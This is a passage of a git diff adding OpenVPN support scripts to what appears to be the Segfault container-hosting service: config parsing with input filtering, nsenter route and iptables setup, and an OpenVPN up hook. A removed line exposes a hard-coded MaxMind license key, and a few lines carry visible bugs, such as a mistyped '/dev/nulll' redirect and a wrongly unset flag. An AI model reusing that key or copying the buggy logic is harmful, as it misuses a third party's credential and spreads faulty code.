# Add static routes for Segfault Services (RPC, DNS, ...)
# nsenter -t "${PID}" -n ip route add "${SF_PC_IP}/32" dev eth0 # NOT NEEDED: RPC is on same network
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add "${SF_TOR_IP}" via "${SF_NET_LG_ROUTER_IP}" dev eth0 2>/dev/null
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add "${SF_NET_ONION}" via "${SF_NET_LG_ROUTER_IP}" dev eth0 2>/dev/null
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add "${SF_DNS}" via "${SF_NET_LG_ROUTER_IP}" dev eth0 2>/dev/null
[[ -n $SF_MULLVAD_ROUTE ]] && nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add "${SF_MULLVAD_ROUTE}" via "${SF_NET_LG_ROUTER_IP}" dev eth0 2>/dev/null
}
set_route_post_up() {
local str
# If there is a EXTRA ROUTE then route ALL traffic. Otherwise keep default route
# but add EXTRA ROUTE.
[[ ${#R_ROUTE_ARR[@]} -le 0 ]] && {
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route del default 2>/dev/null
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add default dev "${WG_DEV}"
}
# All IPv6 to WG_DEV. FIXME: One day we shall support IPv6
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip -6 route del default 2>/dev/null
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip -6 route add default dev "${WG_DEV}" 2>/dev/null
# Add EXTRA ROUTE
for str in "${R_ROUTE_ARR[@]}"; do
echo "Setting route $str"
nsenter.u1000 --setuid 0 --setgid 0 -t "$PID" -n ip route add "${str}" dev "${WG_DEV}"
done
# Packets to 172.16.0.3 should not be forwarded back to 172.16.0.3
# Can not use 'sysctl net.ipv4.conf.wgExit.forwarding=1' because /proc is mounted ro
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n iptables -I FORWARD -i "${WG_DEV}" -j DROP
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip6tables -I FORWARD -i "${WG_DEV}" -j DROP
}
# sf-master, wg/vpn
set_route()
{
set_route_pre_up
set_route_post_up
}

390
sfbin/funcs_ovpn.sh Normal file
View File

@ -0,0 +1,390 @@
# TODO:
# 1. what happens if I create wgEXIT and vpnEXIT?
# 1. It might be better to start the openvpn in an isolated container, then move
# the tun0 interface to the user's container. This way we would not need
# to sanitize the config files.
[[ -z "$SF_GUEST_MTU" ]] && SF_GUEST_MTU=$((SF_HOST_MTU - 80))
cmd_ovpn_help() {
echo -en "\
Use ${C}curl sf/ovpn/up -d config=\"\$(pwd)/openvpn.conf\"${N}
Use ${C}curl sf/ovpn/up -d config=\"\$(pwd)/openvpn.conf\" -d user=username -d pass=password${N}
Use ${C}curl sf/ovpn/up -d config=\"\$(pwd)/openvpn.conf\" -d keypass=password${N}
Use ${C}curl sf/ovpn/up -d config=\"\$(pwd)/openvpn.conf\" -d route=8.0.0.0/20 -d route=172.16.0.0/22${N}
Use ${C}curl sf/ovpn/show${N} for status.
Use ${C}curl sf/ovpn/down${N} to disconnect."
exit;
}
# cat a file from user's container.
user_cat() {
local IFS
local fn="$1"
local max="$2"
local -
set -o pipefail
[[ ${fn:0:1} != "/" ]] && fn="${VPN_LG_BASE}/${fn}"
## Reading a file from the user. Be careful.
fn="${fn//[^[:alnum:]-_+\/.]}"
timeout 2 docker exec -u0 "lg-${LID:?}" cat -- "${fn}" 2>&1 | dd bs=1k count="${max:-16}" 2>/dev/null
}
vpn_read_config() {
local IFS
local config
local arr
local -
local is_read_ca
local is_read_key
local is_read_cert
local is_read_tls
local err
local LC_ALL=C
# Set defaults
VPN_CFG_PROTO="udp"
VPN_CFG_PROTO_SIZE=8
VPN_CFG_REMOTE_PORT="1194"
# Find out base directory.
VPN_LG_BASE="${R_CONFIG%/*}"
set -f
IFS=$'\n' config=($(user_cat "$R_CONFIG" 16)) || BAIL "${config[*]}"
# Extract only those configuration values we deem safe.
for l in "${config[@]}"; do
l="${l//[^[:print:]}"
key="${l%% *}"
### CA
[[ "${key,,}" == "<ca>" ]] && [[ -z "$VPN_CFG_CA" ]] && {
is_read_ca=1
continue
}
[[ -n "$is_read_ca" ]] && {
[[ "${key,,}" == "</ca>" ]] && { unset is_read_ca; continue; }
VPN_CFG_CA+="$l"$'\n'
continue
}
### KEY
[[ "${key,,}" == "<key>" ]] && [[ -z "$VPN_CFG_KEY" ]] && {
is_read_key=1
continue
}
[[ -n "$is_read_key" ]] && {
[[ "${key,,}" == "</key>" ]] && { unset is_read_key; continue; }
VPN_CFG_KEY+="$l"$'\n'
continue;
}
### TLS-AUTH
[[ "${key,,}" == "<tls-auth>" ]] && [[ -z "$VPN_CFG_TLS" ]] && {
is_read_tls=1
continue
}
[[ -n "$is_read_tls" ]] && {
[[ "${key,,}" == "</tls-auth>" ]] && { unset is_read_tls; continue; }
VPN_CFG_TLS+="$l"$'\n'
continue;
}
### CERT
[[ "${key,,}" == "<cert>" ]] && [[ -z "$VPN_CFG_CERT" ]] && {
is_read_cert=1
continue
}
[[ -n "$is_read_cert" ]] && {
[[ "${key,,}" == "</cert>" ]] && { unset is_read_key; continue; }
[[ $is_read_cert -le 1 ]] && [[ "${l:0:5}" != "-----" ]] && continue
is_read_cert=2
VPN_CFG_CERT+="$l"$'\n'
continue;
}
[[ ${key} == proto ]] && {
str="${l##* }"
[[ ${str,,} == "tcp" ]] && VPN_CFG_PROTO="tcp"
continue
}
[[ "${key}" == "auth-user-pass" ]] && [[ -z "$VPN_CFG_PASS" ]] && {
IFS=" " read -r -a arr <<<"$l"
# Empty. Should have -dpass and -duser
[[ ${#arr[@]} -lt 2 ]] && {
[[ -z "$R_USER" || -z "$R_PASS" ]] && BAIL "Need ${C}-d user=username -d pass=password${N}"
continue
}
IFS=$'\n' arr=($(user_cat "${l##* }")) || BAIL "${arr[*]}"
VPN_CFG_USER="${arr[0]}"
VPN_CFG_PASS="${arr[1]}"
unset arr
continue
}
[[ "${key}" == "ca" ]] && [[ -z "$VPN_CFG_CA" ]] && {
VPN_CFG_CA="$(user_cat "${l##* }")" || BAIL "$VPN_CFG_CA"
continue
}
[[ "${key}" == "key" ]] && [[ -z "$VPN_CFG_KEY" ]] && {
VPN_CFG_KEY="$(user_cat "${l##* }")" || BAIL "$VPN_CFG_KEY"
continue
}
[[ "${key}" == "cert" ]] && [[ -z "$VPN_CFG_CERT" ]] && {
VPN_CFG_CERT="$(user_cat "${l##* }")" || BAIL "$VPN_CFG_CERT"
continue
}
[[ "${key}" == "remote" ]] && [[ -z "$VPN_CFG_REMOTE" ]] && {
IFS=" " read -r -a arr <<<"$l"
str="${arr[1]}"
VPN_CFG_REMOTE="${str//[^[:alnum:]-.]}"
# BAD if starts with a "."
[[ ${VPN_CFG_REMOTE:0:1} == "." ]] && unset VPN_CFG_REMOTE # Cant start with a '.' or '-'
[[ ${VPN_CFG_REMOTE:0:1} == "-" ]] && unset VPN_CFG_REMOTE # Cant start with a '.' or '-'
# sf-master can not resolve. OpenVPN's --up still holds Starting OpenVPN in the user's namespace
[[ -z "$VPN_CFG_REMOTE" ]] && BAIL "Invalid Remote ('${str}')."
str="${arr[2]}"
str="${str//[^0-9]}"
[[ -n "$str" ]] && VPN_CFG_REMOTE_PORT="$str"
[[ ${arr[3]} == "tcp"* ]] && VPN_CFG_PROTO="tcp"
unset arr
continue
}
[[ "${key}" == "route" ]] && [[ ${#R_ROUTE_ARR[@]} -le 0 ]] && {
#FIXME: Auto-convert route from netmask to cidr and add to R_ROUTE_ARR+=(...)
echo -e "${ICON_WARN}${R}WARN:${N} Ignoring ${Y}${l}${N}. Used ${C}-d network/cidr${N} instead."
continue
}
[[ "${key}" == "comp-lzo" ]] && {
VPN_CFG+="comp-lzo"$'\n'
continue
}
[[ "${key}" == "key-direction" ]] && {
VPN_CFG+="key-direction 1"$'\n'
}
[[ "${key}" == "data-ciphers" ]] && {
str="${l#* }"
# OpenVPN 2.4 uses "--cipher" but >=2.5 uses "--data-ciphers"
# VPN_CFG+="data-ciphers ${str//[^[:alnum:]-\:]}"$'\n'
VPN_CFG_DATA_CIPHERS="${str//[^[:alnum:]-\:]}"
continue
}
[[ "${key}" == "cipher" ]] && {
str="${l#* }"
# OpenVPN 2.4 uses "--cipher" but >=2.5 uses "--data-ciphers"
# VPN_CFG+="data-ciphers ${str//[^[:alnum:]-\:]}"$'\n'
VPN_CFG_CIPHER="${str//[^[:alnum:]-\:]}"
continue
}
[[ "${key}" == "compress" ]] && {
str="${l#* }"
VPN_CFG+="compress ${str//[^[:alnum:]]}"$'\n'
continue
}
[[ "${key}" == "auth" ]] && {
str="${l#* }"
VPN_CFG+="auth ${str//[^[:alnum:]]}"$'\n'
continue
}
[[ "${key}" == "tls-cipher" ]] && {
str="${l#* }"
VPN_CFG+="tls-cipher ${str//[^[:alnum:]-:@=]}"$'\n'
continue
}
[[ "${key,,}" == "remote-cert-tls" ]] && {
VPN_CFG+="remote-cert-tls server"$'\n'
continue
}
done
# Sanitize
VPN_CFG_CA=${VPN_CFG_CA//[^a-zA-Z0-9+-/$'\n']}
VPN_CFG_KEY=${VPN_CFG_KEY//[^a-zA-Z0-9+-/$'\n']}
VPN_CFG_CERT=${VPN_CFG_CERT//[^a-zA-Z0-9+-/$'\n']}
VPN_CFG_TLS=${VPN_CFG_TLS//[^a-zA-Z0-9+-/$'\n']}
[[ $VPN_CFG_PROTO == "tcp" ]] && VPN_CFG_PROTO_SIZE=20
unset err
[[ -n "$VPN_CFG_CERT" ]] && err=1
[[ -n "$VPN_CFG_KEY" ]] && ((err++))
[[ -n "$err" ]] && [[ "$err" -ne 2 ]] && BAIL "CERT and KEY must both be set"
[[ -z "$VPN_CFG_REMOTE" ]] && BAIL "No REMOTE found."
[[ -n "$VPN_CFG_KEY" ]] && [[ -n "$VPN_CFG_PASS" ]] && BAIL "Missing key or missing auth-user-pass. Try ${C}-d user=username -d pass=password${N}"
[[ -z "$VPN_CFG_CA" ]] && BAIL "No CA found. The configuration file is missing a 'ca [file]' or '<ca>' section."
# Old <2.5 config specifying 'cipher XXX'
# Odd: To connect a 2.5 client to a 2.4 server I need to set "data-ciphers" and "data-ciphers-fallback"
[[ -z "$VPN_CFG_DATA_CIPHERS" ]] && VPN_CFG_DATA_CIPHERS="$VPN_CFG_CIPHER"
[[ -n "$VPN_CFG_DATA_CIPHERS" ]] && VPN_CFG+="data-ciphers ${VPN_CFG_DATA_CIPHERS}"$'\n'
[[ -n "$VPN_CFG_CIPHER" ]] && VPN_CFG+="data-ciphers-fallback $VPN_CFG_CIPHER"$'\n'
echo -e "Remote : ${B}${VPN_CFG_REMOTE} ${F}${VPN_CFG_REMOTE_PORT}/${VPN_CFG_PROTO}${N}"
return 0
}
vpn_stop() {
killall "openvpn-${LID:?}" 2>/dev/null
rm -rf "/tmp/lg-$LID" 2>/dev/null
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID:?}" -n ip link delete dev "vpnEXIT" 2>/dev/null
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n iptables -F OUTPUT 2>/dev/null
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n iptables -F FORWARD 2>/dev/null
}
cmd_ovpn_show() {
load_lg
[[ -f "/tmp/lg-${LID:-?}/conf/conn.ovpn" ]] && {
echo -e "${C}"
cat "/tmp/lg-${LID}/conf/conn.ovpn"
echo -en "${N}"
}
[[ -f "/tmp/lg-${LID}/ovpn.log" ]] && cat "/tmp/lg-${LID}/ovpn.log"
exit
}
cmd_ovpn_up() {
local str
load_lg
local link_mtu
[[ -z "$R_CONFIG" ]] && cmd_ovpn_help
WG_DEV="vpnEXIT"
# echo "PID=$PID"
# Stop if it is already running
vpn_stop
# Set default route so that we can reach the remote (in case another VPN was up):
set_normal_route
unset VPN_CFG
VPN_CFG+="client"$'\n'
VPN_CFG+="dev $WG_DEV"$'\n'
VPN_CFG+="dev-type tun"$'\n'
VPN_CFG+="allow-recursive-routing"$'\n'
VPN_CFG+="single-session"$'\n'
VPN_CFG+="nobind"$'\n'
VPN_CFG+="verb 3"$'\n'
VPN_CFG+="ping 10"$'\n'
VPN_CFG+="ping-exit 60"$'\n'
VPN_CFG+="persist-key"$'\n'
VPN_CFG+="persist-tun"$'\n'
VPN_CFG+="pull-filter ignore route"$'\n'
VPN_CFG+="user nobody"$'\n'
VPN_CFG+="group nogroup"$'\n'
vpn_read_config || BAIL "Failed to read config file"
[[ "$VPN_CFG_PROTO" == "udp" ]] && {
# link-mtu applies to final packets (after encryption and encapsulation) while
# tun-mtu applies to the unencrypted packets which are about to enter the tun/tap device.
# link_mtu is bigger than tun_mtu
# SF_GUEST_MTU is the MTU of the container's eth0 (1420).
# link_mtu=$((SF_GUEST_MTU - 20 - VPN_CFG_PROTO_SIZE))
# The documentation says only valid for UDP but if not set and TCP is
# used then OpenVPN fails handshake (in some cases) with bad/unexpected
# packet length....
# Default is 1500 which indicates it's IP + UDP + PAYLOAD (and not what the OpenVPN docs say).
link_mtu=$((SF_GUEST_MTU))
VPN_CFG+="link-mtu $link_mtu"$'\n'
VPN_CFG+="fast-io"$'\n'
# X - IPv4 - TCP
# OpenVPN is badly documented. Is this the MSS that is advertised in the TCP header:
# VPN_CFG+="mssfix $((SF_GUEST_MTU - 20 - 8 - 20 - 20))"$'\n'
# or does OpenVPN subtract its own size from it and then advertises it?
# It has to be, right? Because there is no way of us knowing how much header/padding
# OpenVPN adds (it's not like WireGuard, where things just make sense)
VPN_CFG+="mssfix $((SF_GUEST_MTU - 20 - 20))"$'\n'
}
[[ -n "$VPN_CFG_CA" ]] && VPN_CFG+="<ca>"$'\n'"$VPN_CFG_CA"$'\n'"</ca>"$'\n'
[[ -n "$VPN_CFG_KEY" ]] && VPN_CFG+="<key>"$'\n'"$VPN_CFG_KEY"$'\n'"</key>"$'\n'
[[ -n "$VPN_CFG_CERT" ]] && VPN_CFG+="<cert>"$'\n'"$VPN_CFG_CERT"$'\n'"</cert>"$'\n'
[[ -n "$VPN_CFG_TLS" ]] && VPN_CFG+="<tls-auth>"$'\n'"$VPN_CFG_TLS"$'\n'"</tls-auth>"$'\n'
VPN_CFG+="proto ${VPN_CFG_PROTO}"$'\n'
VPN_CFG+="remote ${VPN_CFG_REMOTE} ${VPN_CFG_REMOTE_PORT}"$'\n'
# HTB
# OPTS+=(--data-ciphers-fallback AES-128-CBC)
# Previous versions:
# OPTS+=(--data-ciphers-fallback BF-CBC)
# OPTS+=(--cipher AES-256-GCM)
# OpenVPN's --route remote_host 255.255.255.255 vpn_gateway is not working. Instead
# we use the --up script to set the static/32 route to the remote VPN PEER:
unset OPTS
OPTS+=(--config conn.ovpn)
OPTS+=(--script-security 2 --up "/sf/bin/ovpn_up.sh" --setenv PID "$PID" --setenv LID "$LID" --setenv SF_NET_LG_ROUTER_IP "$SF_NET_LG_ROUTER_IP")
# We could create the TUN beforehand but this is no longer needed:
# nsenter.u1000 --setuid 0 --setgid 0 -t "$PID" -n ip tuntap add mode tun "${WG_DEV}"
# the MTU size is overwritten by OpenVPN when it set's the device.
# nsenter.u1000 --setuid 0 --setgid 0 -t "$PID" -n ip link set mtu 1233 up dev "${WG_DEV}"
umask 077
mkdir -p "/tmp/lg-${LID}/conf"
cd "/tmp/lg-${LID}/conf" || BAIL "Cant change directory."
echo -n "$VPN_CFG" >conn.ovpn
# Force username and password
[[ -z "$VPN_CFG_PASS" ]] && [[ -z "$R_PASS" ]]
[[ -n "$R_USER" ]] && VPN_CFG_USER="$R_USER"
[[ -n "$R_PASS" ]] && VPN_CFG_PASS="$R_PASS"
[[ -n "$VPN_CFG_PASS" ]] && {
echo "${VPN_CFG_USER}"$'\n'"${VPN_CFG_PASS}" >userpass.txt
OPTS+=(--auth-user-pass userpass.txt)
}
[[ -n "$R_KEYPASS" ]] && {
echo "$R_KEYPASS" >keypass.txt
OPTS+=(--askpass keypass.txt)
}
[[ ${#R_ROUTE_ARR[@]} -gt 0 ]] && printf "%s\n" "${R_ROUTE_ARR[@]}" >route
# echo "${OPTS[@]}"
# exit
ln -sf /usr/sbin/openvpn "/tmp/lg-${LID}/conf/openvpn-${LID}"
# (nsenter.u1000 --setuid 0 --setgid 0 -t "$PID" -n -C "./openvpn-${LID}" "${OPTS[@]}" &>/dev/null &)
(nsenter.u1000 --setuid 0 --setgid 0 -t "$PID" -n -C "./openvpn-${LID}" "${OPTS[@]}" 2>&1 | dd bs=256 count=200 of="/tmp/lg-${LID}/ovpn.log" 2>/dev/nulll &)
# Block all network traffic beside the one to the OpenVPN PEER (we dont know the IP yet
# so we block the port instead.
nsenter.u1000 --setuid 0 --setgid 0 -t "$PID" -n iptables -I OUTPUT -o eth0 -p "${VPN_CFG_PROTO}" --dport "${VPN_CFG_REMOTE_PORT}" -j ACCEPT
nsenter.u1000 --setuid 0 --setgid 0 -t "$PID" -n iptables -I OUTPUT -o eth0 -d "${SF_RPC_IP:?}" -j ACCEPT
nsenter.u1000 --setuid 0 --setgid 0 -t "$PID" -n iptables -I OUTPUT -o eth0 -d "${SF_DNS:?}" -j ACCEPT
nsenter.u1000 --setuid 0 --setgid 0 -t "$PID" -n iptables -A OUTPUT -o eth0 -j DROP
set_route_pre_up
str="${R_CONFIG##*/}"
str="${str%%.*}"
[[ -z "$str" ]] && str="${VPN_CFG_REMOTE}"
str="${str^^}"
echo "(%F{yellow}EXIT:%Bvpn${str:0:16}%b%F{%(#.blue.green)})" >"${LID_PROMPT_FN}"
echo -en "\
${G}SUCCESS${N}
Use ${C}curl sf/ovpn/show${N} for status.
Use ${C}curl sf/ovpn/down${N} to disconnect.
"
exit
}
cmd_ovpn_del() {
load_lg
vpn_stop
WG_DEV="vpnEXIT"
mk_normal_route
exit
}

26
sfbin/ovpn_up.sh Executable file
View File

@ -0,0 +1,26 @@
#! /bin/bash
# Executed by OpenVPN --up within master/OpenVPN context
source /sf/bin/funcs_net.sh
# echo "$*" >/tmp/up_args.txt
# set >/tmp/up_set.txt
[[ -z $WG_DEV ]] && WG_DEV="vpnEXIT"
# Inside this context the PATH needs to be exported:
export PATH
# Add the OpenVPN PEER as default route
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID:?}" -n ip route add "${trusted_ip:?}" via "${SF_NET_LG_ROUTER_IP:?}" dev eth0
# Remove old default route.
cd "/tmp/lg-${LID:?}/conf"
[[ -f "route" ]] && IFS=$'\n' readarray -t R_ROUTE_ARR <"route"
set_route_post_up
# Remove all BLOCKING OUTPUT rules that were needed between OpenVPN starting
# and the device becoming available.
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n iptables -F OUTPUT
rm -rf "/tmp/lg-${LID}/conf"

View File

@ -160,9 +160,10 @@ export SF_GUEST_MTU=$((SF_HOST_MTU - 80))
[[ ! -d "${SF_DATADIR}/user" ]] && mkdir -p "${SF_DATADIR}/user"
[[ ! -d "${SF_DATADIR}/share" ]] && mkdir -p "${SF_DATADIR}/share"
[[ ! -f "${SF_DATADIR}/share/GeoLite2-City.mmdb" ]] && {
[[ ! -f "${SF_DATADIR}/share/GeoLite2-City.mmdb" ]] && [[ "${MAXMIND_KEY,,}" != "skip" ]] && {
WARN "Not found: data/share/GeoLite2-City.mmdb"
echo -e "Try \`curl 'https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-City&license_key=zNACjsJrHnGPBxgI&suffix=tar.gz' | tar xfvz - --strip-components=1 --no-anchored -C '${SF_DATADIR}/share/' 'GeoLite2-City.mmdb'\`."
echo -e "Try \`curl 'https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-City&license_key=${MAXMIND_KEY:-KEY-NOT-SET}&suffix=tar.gz' | tar xfvz - --strip-components=1 --no-anchored -C '${SF_DATADIR}/share/' 'GeoLite2-City.mmdb'\`."
echo -e "Try ${CDC}MAXMIND_KEY=skip${CN} to disable. This will also disable limits by GEOIP and disable user tools like geoip and geoiphn."
}
[[ ! -f "${SF_DATADIR}/share/tor-exit-nodes.txt" ]] && {